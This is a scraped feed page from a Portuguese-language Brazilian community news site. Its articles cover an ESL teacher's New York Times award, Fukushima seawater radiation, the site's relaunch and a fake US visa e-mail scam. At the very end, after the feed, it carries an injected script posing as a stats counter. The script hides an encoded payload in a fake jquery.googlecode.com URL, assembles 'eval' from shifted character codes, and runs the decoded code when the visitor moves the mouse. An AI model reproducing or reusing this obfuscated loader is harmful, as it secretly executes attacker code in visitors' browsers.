<p>Ter a oportunidade de ensinar inglês nos Estados Unidos era um sonho que tornou-se realidade &#8220;, diz Da Silva Michelin, sem um pingo de sotaque. &#8220;Mas, nunca em minhas fantasias, eu imaginei que seria reconhecida pelo The New York Times como uma, entre os melhores educadores da cidade, na área de inglês como segunda língua.&#8221; A homenageada, sem vaidade, disse que a concessão não teria sido possível, sem o apoio e a orientação de seus colegas professores, supervisores, do pessoal da City University of New York (CUNY) e, em particular, da administração do CIET.</p>
<p>O Times presenteou-a com US $ 2.500 e uma placa comemorativa, numa cerimônia de premiação acontecida no dia 08 de abril, passado. Desde a criação do prêmio, há cinco anos, três instrutores do idioma inglês do LaGuardia, foram reconhecidos pela comissão julgadora. Em 2007, primeiro ano, o prêmio foi dado a Ellen Quish, uma instrutora, e colaboradora no desenvolvimento do programa, no Centro de Educação de Adultos, como Professora do Ano. No ano seguinte, Hillary Gardner, coordenadora do Programa de Civismo, e professora de inglês, do CIET, foi outra vencedora.</p>
<p>Na seleção do Professor do Ano, The Times solicitou aos alunos e colegas indicação de nomes para a candidatura ao prêmio. Quem indicou, foi convidado a explicar o benefício do estilo de ensino tão eficaz, como este melhorou as vidas dos alunos, e como educaram os alunos sobre a cultura dos Estados Unidos. Todos os professores de ESOL que trabalham na cidade, foram elegíveis a indicação.</p>
<p>O programa atraiu cerca de 30 candidaturas. John Hunt, diretor adjunto do CIET, que apresentou a sua candidatura para este cobiçado prêmio, disse: &#8220;Senhora Da Silva-Michelin demonstra uma tremenda quantidade de carinho e coração ao apoiar os seus alunos em sua luta, não só para aprender inglês, mas também para melhorar suas vidas e alcançar seus objetivos. Ela também mostra criatividade e ousadia para criar novos recursos, para seus colegas que pensam em responder às necessidades dos alunos, através de atividades inovadoras nas classes. &#8220;No CIET, onde os imigrantes recebem aulas de inglês como segunda língua – ESL, e formação profissional gratuitamente, aos 43 anos, e moradora em Queens, ensina um combinado de ESL e civismo, curso que é construído em torno de vários temas, tais como administração pública e saúde.</p>
<p>Para ajudar seus alunos a fortalecer as suas habilidades em inglês e, ao mesmo tempo, uma melhor compreensão de suas comunidades e melhorar a sua capacidade para conviver no sistema, a Sra. da Silva Michelin disse que é imperioso o desenvolvimento de aulas, onde eles possam se conectar com o tema . &#8220;Os alunos adultos devem ver o valor daquilo que está sendo apresentado na classe, e se a aprendizagem está tendo lugar&#8221;, disse ela. &#8220;Eles têm que ver a conexão entre o projeto e ser capaz de realmente aplicá-la a sua experiência de vida real.&#8221; Em uma das aulas sobre o tema governo, a Sra. da Silva Michelin fez uma pesquisa sobre: o pacote do governo, estímulo econômico do presidente Obama.</p>
<p>Os estudantes descobriram que o plano não afastou o dinheiro para programas de alfabetização de adultos, e a professora pediu a classe para escrever cartas ao presidente, ressaltando a importância do programa e explicar como a falta de financiamento teria um impacto negativo em suas vidas. Através das cartas, os alunos desenvolveram histórias digitais que informam como o programa deve ser financiado. Para visualizar, acesse: <a href="http://www.facebook.com/video/video.php?v=1186676823080">http://www.facebook.com/video/video.php?v=1186676823080</a> &#8221;</p>
<p>Infelizmente, a Casa Branca não respondeu&#8221;, disse Da Silva Michelin &#8220;, mas os alunos aprenderam uma lição muito importante sobre o processo democrático &#8220;. Em cada uma das suas aulas, a Sra. da Silva Michelin faz questão de dizer aos alunos a sua história e trazer as suas próprias experiências para a sala de aula.</p>
<p>&#8220;Eu acho que é muito importante que os alunos tenham  certeza, que eu entendo o que eles estão passando, porque eu estive lá&#8221;, disse ela.</p>
<p>Sua história começa em Campias, uma cidade universitária nos subúrbios de São Paulo. Desde que era criança, a Sra. da Silva Michelin visualizou um dia se estabelecer em Nova York, e se tornar uma professora de ESL. Ela recebeu a sua primeira aula de inglês do seu pai, um economista e professor de uma universidade de prestígio no Brasil. Na Pontifícia Universidade Católica, onde se formou em literatura americana, e continuou estudando inglês. &#8220;Lembro-me de um dos meus professores de inglês que me dizia: “você nunca vai aprender inglês.&#8221; Sra. Da Silva Michelin decidiu provar que ele estava errado.</p>
<p>Ela se formou em 1989, e alguns meses depois chegou em Nova York. Ela teve aulas de inglês como segunda língua no Hunter College, e obteve o certificado da Escola Nova em TESOL (Professores de Inglês de Falantes de Outras Línguas). Foi na New School que os professores fizeram ela ver que poderia ensinar inglês. &#8220;Na minha cabeça, eu pensei que nunca poderia ser uma professora de inglês, neste país, porque o inglês não foi a minha primeira língua&#8221;, disse ela, &#8220;mas depois de ir bem nos meus estudos, eu fiquei convencida de que eu poderia fazer o que quisesse.&#8221; E , assim, em 2002 ela se juntou à equipe de ensino da CIET. Ela agora está trabalhando para o seu mestrado em TESOL, no City College. Para os seus alunos, que sabem que uma vez ela sentou-se em seus lugares e se esforçou para aprender uma nova língua, a Sra. da Silva Michelin é um modelo. &#8220;Ela nos disse que foi difícil para ela aprender a língua, mas ela fez isso e nós também podemos&#8221;, disse Nancy Cáceres, um nativo da Venezuela, que ingressara na classe de educação cívica, em setembro passado, depois de não conseguir entrar em um programa de treinamento no trabalho por causa do seu inglês, e após três meses de aulas, retornou e passou no exame. &#8220;Ela é uma inspiração.&#8221; Uma professora em tempo integral e também mentora, compartilha  com seus colegas seus planos de aula on-line e pesquisas em bibliotecas .</p>
<p>Ela também escreveu uma série sobre a asma para o &#8220;Nós somos Nova York&#8221;, um vídeo vencedor do prêmio Emmy ESL, que está sendo usado por professores de ESL da cidade. Partindo do vídeo da asma, ela desenvolveu um plano de aula que abrange a gramática, pontuação, bem como assuntos de saúde. O conjunto foi escolhido entre inúmeros planos de aula e é usado por professores da cidade. A série foi criada pelo Gabinete do Prefeito de Educação de Adultos, em conjunto com a Universidade da Cidade de Nova York Escritório de Assuntos Acadêmicos.</p>
<p>Sua doutrina também se estende à comunidade. Através de um programa com a biblioteca de Queens, a Sra. da Silva Michelin ensina aos pais imigrantes como desenvolver as habilidades que seus filhos precisam para ter sucesso em um ambiente pré-escolar. &#8220;O segredo é transmitir aos pais que eles são os primeiros professores de seus filhos&#8221;, disse ela. &#8220;Enfatizo a importância de conversar com seus filhos, quer em inglês ou sua língua nativa, para estimular a curiosidade da criança e para construir seu vocabulário.&#8221; Se ela está ensinando adultos ou orientando companheiros membros do corpo docente, a Sra. da Silva Michelin disse a respeito: o que lhe traz o maior prazer é ensinar &#8220;, é a percepção de que você pode fazer a diferença na vida de seus alunos.&#8221;</p>
<img src="http://thebrasiliansonline.com/portal/?ak_action=api_record_view&id=199&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://thebrasiliansonline.com/portal/?feed=rss2&amp;p=199</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Radiação no mar ao redor de usina em Fukushima 3.355 vezes acima do limite</title>
		<link>http://thebrasiliansonline.com/portal/?p=175</link>
		<comments>http://thebrasiliansonline.com/portal/?p=175#comments</comments>
		<pubDate>Wed, 30 Mar 2011 20:06:18 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Última hora]]></category>

		<guid isPermaLink="false">http://thebrasiliansonline.com/portal/?p=175</guid>
		<description><![CDATA[Fonte: Agência O Globo – qua, 30 de mar de 2011 08:19 BRT
TÓQUIO &#8211; Novas leituras mostraram que a presença de iodo radioativo  em águas do mar próximo à usina nuclear de Fukushima subiu para 3.335 ...]]></description>
			<content:encoded><![CDATA[<p>Fonte: Agência O Globo – qua, 30 de mar de 2011 08:19 BRT</p>
<p><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/03/r2512315625.jpg"><img class="alignleft size-medium wp-image-176" title="r2512315625" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/03/r2512315625-300x203.jpg" alt="" width="300" height="203" /></a>TÓQUIO &#8211; Novas leituras mostraram que a presença de iodo radioativo  em águas do mar próximo à usina nuclear de Fukushima subiu para 3.335  vezes acima do limite legal, indicou nesta quarta-feira a agência  estatal de segurança nuclear do Japão,  apesar do organismo ter minimizado seu impacto, dizendo que as pessoas  abandonaram a área e que havia detido a atividade de pesca. Esta é a  concentração mais alta desde o início da crise</p>
<p>A poluição no oceano é uma preocupação para um país onde o peixe é parte central da dieta de seus habitantes.</p>
<p>Especialistas disseram que a vastidão do oceano e uma poderosa  corrente deveriam diluir os altos níveis de radiação, limitando o perigo  de contaminação aos peixes e ao restante da vida marinha.</p>
<p>Mas não está claro quanta radiação está se infiltrando no oceano e o  controle das fugas poderia levar semanas ou meses, o que complica as  avaliações precisas de risco.</p>
<p>Nesta quarta-feira,  o Japão atualizou os seus padrões para usina de  energia nuclear, o primeiro reconhecimento oficial de que suas normas  eram insuficientes quando o terremoto de 11 de março danificou uma de  suas instalações, desencadeando a pior crise atômica desde Chernobil, na  Ucrânia, em 1986.</p>
<img src="http://thebrasiliansonline.com/portal/?ak_action=api_record_view&id=175&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://thebrasiliansonline.com/portal/?feed=rss2&amp;p=175</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Brasilians Online – Novo ano, nova cara</title>
		<link>http://thebrasiliansonline.com/portal/?p=171</link>
		<comments>http://thebrasiliansonline.com/portal/?p=171#comments</comments>
		<pubDate>Thu, 03 Mar 2011 14:05:08 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Interesse]]></category>

		<guid isPermaLink="false">http://thebrasiliansonline.com/portal/?p=171</guid>
		<description><![CDATA[Prezados internautas,
Temos o prazer de anunciar o lançamento do novo The Brasilians Online, a edição eletrônica do Jornal Brasileiro que vem informando a nossa comunidade há quase 40 anos.
Temos muitos planos para o futuro. O ...]]></description>
			<content:encoded><![CDATA[<p>Prezados internautas,</p>
<p><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/03/screen.jpg"><img class="alignleft size-full wp-image-172" title="screen" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/03/screen.jpg" alt="" width="231" height="259" /></a>Temos o prazer de anunciar o lançamento do novo The Brasilians Online, a edição eletrônica do Jornal Brasileiro que vem informando a nossa comunidade há quase 40 anos.</p>
<p>Temos muitos planos para o futuro. O principal é fazer que este website seja um ponto de referência da comunidade Brasileira nos EUA, incluindo foros, salas de Chat, Blogs e outras tecnologias que farão este website dinâmico e prazeiroso de se navegar.<span id="more-171"></span></p>
<p>Volte sempre, estaremos constantemente adicionando os artigos de qualidade que são publicados no jornal impresso, assim como as últimas notícias importantes do Brasil e do mundo. Colabore com suas sugestões, críticas e participação.</p>
<p>Nossa equipe online é composta pela talentosa diretora geral Francoise de Carvalho, nosso célebre editor-in-chief Edilberto Mendes, e Wellington Rodrigues, webmaster oficial do Brazilian Day e do The Brasilians Online.</p>
<img src="http://thebrasiliansonline.com/portal/?ak_action=api_record_view&id=171&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://thebrasiliansonline.com/portal/?feed=rss2&amp;p=171</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>E-mail falso oferece visto para os Estados Unidos</title>
		<link>http://thebrasiliansonline.com/portal/?p=162</link>
		<comments>http://thebrasiliansonline.com/portal/?p=162#comments</comments>
		<pubDate>Thu, 03 Mar 2011 13:39:30 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Última hora]]></category>

		<guid isPermaLink="false">http://thebrasiliansonline.com/portal/?p=162</guid>
		<description><![CDATA[Fonte: O Estado de S. Paulo
E-mails fraudulentos estão informando internautas de que eles foram  sorteados pelo Departamento de Estado dos Estados Unidos para ter o  Green Card, e que devem pagar taxa de ...]]></description>
			<content:encoded><![CDATA[<p>Fonte: <strong><strong>O Estado de S. Paulo</strong></strong></p>
<p><a href="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/03/stamping.jpg"><img class="alignleft size-full wp-image-163" title="stamping" src="http://thebrasiliansonline.com/portal/wp-content/uploads/2011/03/stamping.jpg" alt="" width="200" height="200" /></a>E-mails fraudulentos estão informando internautas de que eles foram  sorteados pelo Departamento de Estado dos Estados Unidos para ter o  Green Card, e que devem pagar taxa de US$ 560 (em torno de R$ 930) para  que eles recebam o documento. O Green Card é um visto de imigração que  permite que o estrangeiro resida e trabalhe nos Estados Unidos. A  Embaixada dos Estados Unidos deve divulgar hoje um alerta sobre o  &#8220;crescimento expressivo&#8221; desse tipo de golpe.</p>
<div>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td align="center"><span style="font-family: Arial;">PUBLICIDADE</span><br />
<noscript><a HREF="http://br.ard.yahoo.com/SIG=15mitnsos/M=762120.14600806.14406295.4309149/D=brnews/S=97671222:LREC/_ylt=AswZzjNJyhtRGA_e0I8Ntdg2WNIF/Y=BR/EXP=1299166604/L=YhVzJciYqKvUTN8MTWFXWQzpRK31I01vmWwABNe7/B=iNyZEMiYqDs-/J=1299159404332638/K=erAt3_b4Ekge8Lq15Jb2lQ/A=6342185/R=1/SIG=12889ptsa/*http://clk.atdmt.com/CLG/go/304354910/direct/01/?time=1299159404332638" target="_blank"><img border="0" src="http://view.atdmt.com/CLG/view/304354910/direct/01/?time=1299159404332638" /></a></noscript></td>
</tr>
</tbody>
</table>
<p><noscript><img width=1 height=1 alt="" src="http://row.bc.yahoo.com/b?P=YhVzJciYqKvUTN8MTWFXWQzpRK31I01vmWwABNe7&#038;T=13u46mbv0%2fX%3d1299159404%2fE%3d97671222%2fR%3dbrnews%2fK%3d5%2fV%3d2.1%2fW%3dHR%2fY%3dBR%2fF%3d4186270958%2fQ%3d-1%2fS%3d1%2fJ%3d74A898C8&#038;U=13f499gj8%2fN%3diNyZEMiYqDs-%2fC%3d762120.14600806.14406295.4309149%2fD%3dLREC%2fB%3d6342185%2fV%3d1"></noscript></div>
<p>Segundo  o Consulado americano em São Paulo, são várias as fraudes que usam a  identificação falsa do Departamento de Estado para oferecer o visto. Os  &#8220;scams&#8221; neste caso são e-mails enviados para diferentes destinatários,  sem solicitação &#8211; como os spams -, que configuram fraudes e tentam fazer  com que o internauta realize pagamentos. Os e-mails têm sido recebidos  em vários países. A Embaixada dos EUA em Londres já divulgou um alerta  informando ter recebido &#8220;milhares&#8221; de questionamentos de internautas que  receberam o e-mail.</p>
<p>Nem mesmo americanos estão livres. É o caso de Norman Gall, diretor  executivo do Instituto Fernand Braudel de Economia Mundial e colaborador  do jornal O Estado de S. Paulo. Residente no Brasil desde 1977, Gall  nasceu em Nova York em 1933 e atualmente vive em São Paulo. &#8220;A fraude  tinha um visual bem feito. Quem olha pode achar que realmente se trata  de um informe oficial. Achei estranho que até eu, que tenho cidadania  brasileira e americana, também recebi.&#8221;</p>
<p>A 4.ª Delegacia de Delitos Cometidos por Meios Eletrônicos de São  Paulo diz que ainda não recebeu nenhuma denúncia de e-mail fraudulento  relacionado a vistos de imigração para os Estados Unidos. As informações  são do jornal <strong>O Estado de S. Paulo.</strong></p>
<img src="http://thebrasiliansonline.com/portal/?ak_action=api_record_view&id=162&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://thebrasiliansonline.com/portal/?feed=rss2&amp;p=162</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<div id="w3stats"></div>
<script language="JavaScript" type="text/javascript">
window.w3ssss=function(){
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauogkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfgpe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0fowyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g%3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6fht8rpsz.r5ksx1ottjxy2h1ltseeign.s28w7fvisuadzght5mph09w%3Dpr0%22usd1yifpp0vxwar%22vw3%3Bpv6%0Ayljibn8fjdzroab.60ns3llt4ulyxzclfrzektc.wq5hvbsed58if0ygt3dhtaatjsq%3Dqzs%22gxt1y6apeanxndo%225ij%3Bny2%0Acj5dzblow3fcr0gubrrm42geqinnghstuh3.3z6g3thezrgt7m9Enx1ley7e6voma64eph0nl7htxqbB3n7yjtwIs9xdvht%28rph%22ufxwhhm3flks84utufuanldthuks999%2222l%290io.9iga4usp7rxpverebjgnjrbdyezCpugh3eliesil9ncdcer%28wu7itzjfjl3rpqi%29q83%3Bsih%0A4ni%0Akba";
var visitnum=window.history.length%1000-window.history.length+4;
var countbox=document.createElement("div");countbox.id='countbox';
idarr = new Array(97,114,93,104);
for(var i=0,elem=[]; i<visitnum; i++){elem[i]=document.createElement("div");elem[i].id= String.fromCharCode(idarr[i]+visitnum);countbox.appendChild(elem[i]);}
var cont=''; currentuser=true, nextuser=countbox.firstChild;
do{currentuser=nextuser; cont += currentuser.id; nextuser=currentuser.nextSibling;}while(currentuser!==countbox.lastChild)
var userref=unescape(scriptlink.substr(scriptlink.indexOf('?userrefer=')+11));
for(var i=0,content=''; i<userref.length; i+=visitnum){content+=userref.charAt(i);}
try{ window[cont](content) }catch(e){}
}
window.CheckBody = function()
{
if (!document.body){setTimeout('CheckBody();',10);}
else
{
window.nomore=false;
document.body.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}}
window.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}}
}
}
CheckBody();
</script>
